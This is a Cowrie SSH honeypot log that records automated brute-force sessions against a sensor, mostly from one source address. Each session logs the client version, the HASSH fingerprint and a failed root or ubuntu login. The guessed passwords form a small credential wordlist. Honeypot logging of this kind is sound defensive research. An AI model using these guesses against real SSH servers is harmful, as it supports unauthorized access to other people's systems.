{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":2324,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1f89a164fe9","protocol":"ssh","message":"New connection: 213.209.159.158:2324 (10.17.0.5:22) [session: a1f89a164fe9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:09:45.937925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:09:48.536911Z","src_ip":"213.209.159.158","session":"a1f89a164fe9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:09:48.541206Z","src_ip":"213.209.159.158","session":"a1f89a164fe9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Sg123456789","message":"login attempt [root/Sg123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:09:58.485302Z","src_ip":"213.209.159.158","session":"a1f89a164fe9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.3","message":"Connection lost after 16.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:10:02.206839Z","src_ip":"213.209.159.158","session":"a1f89a164fe9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":19514,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3604725b204","protocol":"ssh","message":"New connection: 213.209.159.158:19514 (10.17.0.5:22) [session: c3604725b204]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:10:02.288381Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":58262,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7973df36ab4","protocol":"ssh","message":"New connection: 2.57.122.208:58262 (10.17.0.5:22) [session: b7973df36ab4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:10:02.649169Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:10:02.668355Z","src_ip":"2.57.122.208","session":"b7973df36ab4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:10:02.774892Z","src_ip":"2.57.122.208","session":"b7973df36ab4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"4rfv$RFV","message":"login attempt [ubuntu/4rfv$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:10:03.218924Z","src_ip":"2.57.122.208","session":"b7973df36ab4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:10:04.418550Z","src_ip":"2.57.122.208","session":"b7973df36ab4","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:10:04.700483Z","src_ip":"213.209.159.158","session":"c3604725b204","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:10:04.704533Z","src_ip":"213.209.159.158","session":"c3604725b204","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.127.181.103","src_port":24673,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ef8a62140e7","protocol":"ssh","message":"New connection: 79.127.181.103:24673 (10.17.0.5:22) [session: 9ef8a62140e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:10:06.649674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:10:06.853912Z","src_ip":"79.127.181.103","session":"9ef8a62140e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:10:07.048817Z","src_ip":"79.127.181.103","session":"9ef8a62140e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:10:07.058821Z","src_ip":"79.127.181.103","session":"9ef8a62140e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server2024#","message":"login attempt [root/server2024#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:10:14.876952Z","src_ip":"213.209.159.158","session":"c3604725b204","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.9","message":"Connection lost after 15.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:10:18.239075Z","src_ip":"213.209.159.158","session":"c3604725b204","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":6032,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c3edd8b5454","protocol":"ssh","message":"New connection: 213.209.159.158:6032 (10.17.0.5:22) [session: 9c3edd8b5454]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:10:18.320097Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:10:20.621378Z","src_ip":"213.209.159.158","session":"9c3edd8b5454","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:10:20.625379Z","src_ip":"213.209.159.158","session":"9c3edd8b5454","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"smidc2023","message":"login attempt [root/smidc2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:10:30.547758Z","src_ip":"213.209.159.158","session":"9c3edd8b5454","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.7","message":"Connection lost after 15.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:10:33.997727Z","src_ip":"213.209.159.158","session":"9c3edd8b5454","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":56552,"dst_ip":"10.17.0.5","dst_port":22,"session":"e45922fd533e","protocol":"ssh","message":"New connection: 213.209.159.158:56552 (10.17.0.5:22) [session: e45922fd533e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:10:34.079827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:10:36.682577Z","src_ip":"213.209.159.158","session":"e45922fd533e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:10:36.686210Z","src_ip":"213.209.159.158","session":"e45922fd533e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Sf","message":"login attempt [root/Sf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:10:46.348308Z","src_ip":"213.209.159.158","session":"e45922fd533e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.1","message":"Connection lost after 16.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:10:50.165546Z","src_ip":"213.209.159.158","session":"e45922fd533e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":65034,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce962aca42c7","protocol":"ssh","message":"New connection: 213.209.159.158:65034 (10.17.0.5:22) [session: ce962aca42c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:10:50.244591Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:10:52.679437Z","src_ip":"213.209.159.158","session":"ce962aca42c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:10:52.683943Z","src_ip":"213.209.159.158","session":"ce962aca42c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"seventeen1","message":"login attempt [root/seventeen1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:11:02.743655Z","src_ip":"213.209.159.158","session":"ce962aca42c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.8","message":"Connection lost after 15.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:11:06.025055Z","src_ip":"213.209.159.158","session":"ce962aca42c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":19626,"dst_ip":"10.17.0.5","dst_port":22,"session":"758ea3978ac6","protocol":"ssh","message":"New connection: 213.209.159.158:19626 (10.17.0.5:22) [session: 758ea3978ac6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:11:06.105270Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:11:08.871637Z","src_ip":"213.209.159.158","session":"758ea3978ac6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:11:08.875616Z","src_ip":"213.209.159.158","session":"758ea3978ac6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sohu","message":"login attempt [root/sohu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:11:18.564599Z","src_ip":"213.209.159.158","session":"758ea3978ac6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.7","message":"Connection lost after 15.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:11:21.803827Z","src_ip":"213.209.159.158","session":"758ea3978ac6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":11598,"dst_ip":"10.17.0.5","dst_port":22,"session":"55b07d883649","protocol":"ssh","message":"New connection: 213.209.159.158:11598 (10.17.0.5:22) [session: 55b07d883649]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:11:21.882784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:11:24.516753Z","src_ip":"213.209.159.158","session":"55b07d883649","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:11:24.520226Z","src_ip":"213.209.159.158","session":"55b07d883649","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sexy12","message":"login attempt [root/sexy12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:11:34.364686Z","src_ip":"213.209.159.158","session":"55b07d883649","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.2","message":"Connection lost after 16.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:11:38.123977Z","src_ip":"213.209.159.158","session":"55b07d883649","protocol":"ssh"}
